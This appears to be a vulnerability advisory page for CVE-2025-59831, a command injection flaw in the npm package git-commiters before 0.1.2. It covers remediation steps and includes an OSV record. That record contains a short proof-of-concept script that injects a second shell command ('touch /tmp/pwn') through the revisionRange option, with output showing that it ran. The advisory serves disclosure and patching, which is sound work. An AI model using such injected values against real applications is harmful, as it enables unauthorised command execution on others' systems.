CVE-2025-59831: Git commiters `git-comiters` Command Injection Vulnerability Vulnerability
HIGHCVE-2025-59831 is a HIGH (CVSS 8.8) `git-comiters` command injection vulnerability vulnerability (CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')) affecting Git commiters libraries in the npm ecosystem. The issue involves `git-comiters` command injection vulnerability. Remediation is available by upgrading affected packages to version 0.1.2.
CVE-2025-59831 at a Glance
Security Impact
CVSS: 8.8
The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H).
How to Fix CVE-2025-59831
To remediate this vulnerability, upgrade all affected Git commiters dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.
npm install git-commiters@0.1.2
Run the following command in your project directory to verify that all resolved dependencies use the patched release:
npm ls git-commiters
How to Check if You Are Affected
To determine whether your Node.js application is affected by CVE-2025-59831, inspect your project dependencies using npm:
npm ls git-commiters
Analyze the terminal output to locate any version of Git commiters in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.1.2), your application is affected.
Note: The npm ls git-commiters command inspects dependencies declared in your package.json and lockfile; it does not perform automated runtime dynamic scanning.
Technical Details
Vulnerability Mechanism & Technical Analysis
This vulnerability is classified under CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection'), where the product constructs all or part of an os command using externally-influenced input from an upstream component, but it does not neutralize or incorrectly neutralizes special elements that could modify the intended os command when it is sent to a downstream component. In Git commiters, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.
Source Advisory Statement
CVE-2025-59831 Affected Git commiters Versions
1 component(s)| Product / Package | Ecosystem | Affected Versions | Fixed Version |
|---|---|---|---|
|
git-commiters
|
npm |
< 0.1.2
|
0.1.2
|
References
Frequently Asked Questions
What is CVE-2025-59831?
Which Git commiters versions are affected?
What version fixes CVE-2025-59831?
Is git-commiters affected?
What is the CVSS score of CVE-2025-59831?
What CWE is associated with CVE-2025-59831?
How can I check npm dependencies for CVE-2025-59831?
Machine-readable OSV JSON
OSV v1.5 Schema
{
"schema_version" : "1.4.0",
"id" : "GHSA-g38c-wxjf-xrh6",
"modified" : "2025-10-16T20:41:52Z",
"published" : "2025-09-22T18:01:37Z",
"aliases" : [ "CVE-2025-59831" ],
"summary" : "`git-comiters` Command Injection vulnerability",
"details" : "## Background on the vulnerability\n\nThis vulnerability manifests with the library's primary exported API: `gitCommiters(options, callback)`\nwhich allows specifying options such as `cwd` for current working directory and `revisionRange` as a revision pointer, such as `HEAD`.\n\nHowever, the library does not sanitize for user input or practice secure process execution API to separate commands from their arguments and as such, uncontrolled user input is concatenated into command execution.\n\n## Exploit\n\n1. Install `git-commiters@0.1.1` or earlier\n2. Initiaizlie a new Git directory with commits in it\n3. Create the following script in that directory:\n\n```js\nvar gitCommiters = require(\"git-commiters\");\n\nvar options = {\n cwd: \"./\",\n revisionRange: \"HEAD; touch /tmp/pwn; #\",\n};\ngitCommiters(options, function (err, result) {\n if (err) console.log(err);\n else console.log(result);\n});\n```\n\n3. Observe new file created on disk at `/tmp/pwn`\n\nThe git commiters functionality works as expected, too, despite the command execution, which further hinders the problem as it may not be apparent that a command injection occured on a running application.\n\n```sh\n@lirantal ➜ /workspaces/git-commiters.js (master) $ node app.js\n[\n {\n email: 'github@qslw.com',\n name: 'Morton Fox',\n deletions: 1,\n insertions: 1,\n commits: 1\n },\n {\n email: 'snowyu.lee@gmail.com',\n name: 'Riceball LEE',\n deletions: 11,\n insertions: 1198,\n commits: 7\n }\n]\n\n@lirantal ➜ /workspaces/git-commiters.js (master) $ ls -alh /tmp/pwn\n-rw-r--rw- 1 codespace codespace 0 Jul 1 06:09 /tmp/pwn\n```\n\n# Credit\n\nLiran Tal",
"severity" : [ {
"type" : "CVSS_V3",
"score" : "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H"
}, {
"type" : "CVSS_V4",
"score" : "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N"
} ],
"affected" : [ {
"package" : {
"ecosystem" : "npm",
"name" : "git-commiters"
},
"ranges" : [ {
"type" : "ECOSYSTEM",
"events" : [ {
"introduced" : "0"
}, {
"fixed" : "0.1.2"
} ]
} ]
} ],
"references" : [ {
"type" : "WEB",
"url" : "https://github.com/snowyu/git-commiters.js/security/advisories/GHSA-g38c-wxjf-xrh6"
}, {
"type" : "ADVISORY",
"url" : "https://nvd.nist.gov/vuln/detail/CVE-2025-59831"
}, {
"type" : "WEB",
"url" : "https://github.com/snowyu/git-commiters.js/commit/7f0abfedbf506e3a61ac875d91324a8dbe756e84"
}, {
"type" : "PACKAGE",
"url" : "https://github.com/snowyu/git-commiters.js"
} ],
"database_specific" : {
"cwe_ids" : [ "CWE-77", "CWE-78" ],
"severity" : "HIGH",
"github_reviewed" : true,
"github_reviewed_at" : "2025-09-22T18:01:37Z",
"nvd_published_at" : "2025-09-25T14:15:46Z"
}
}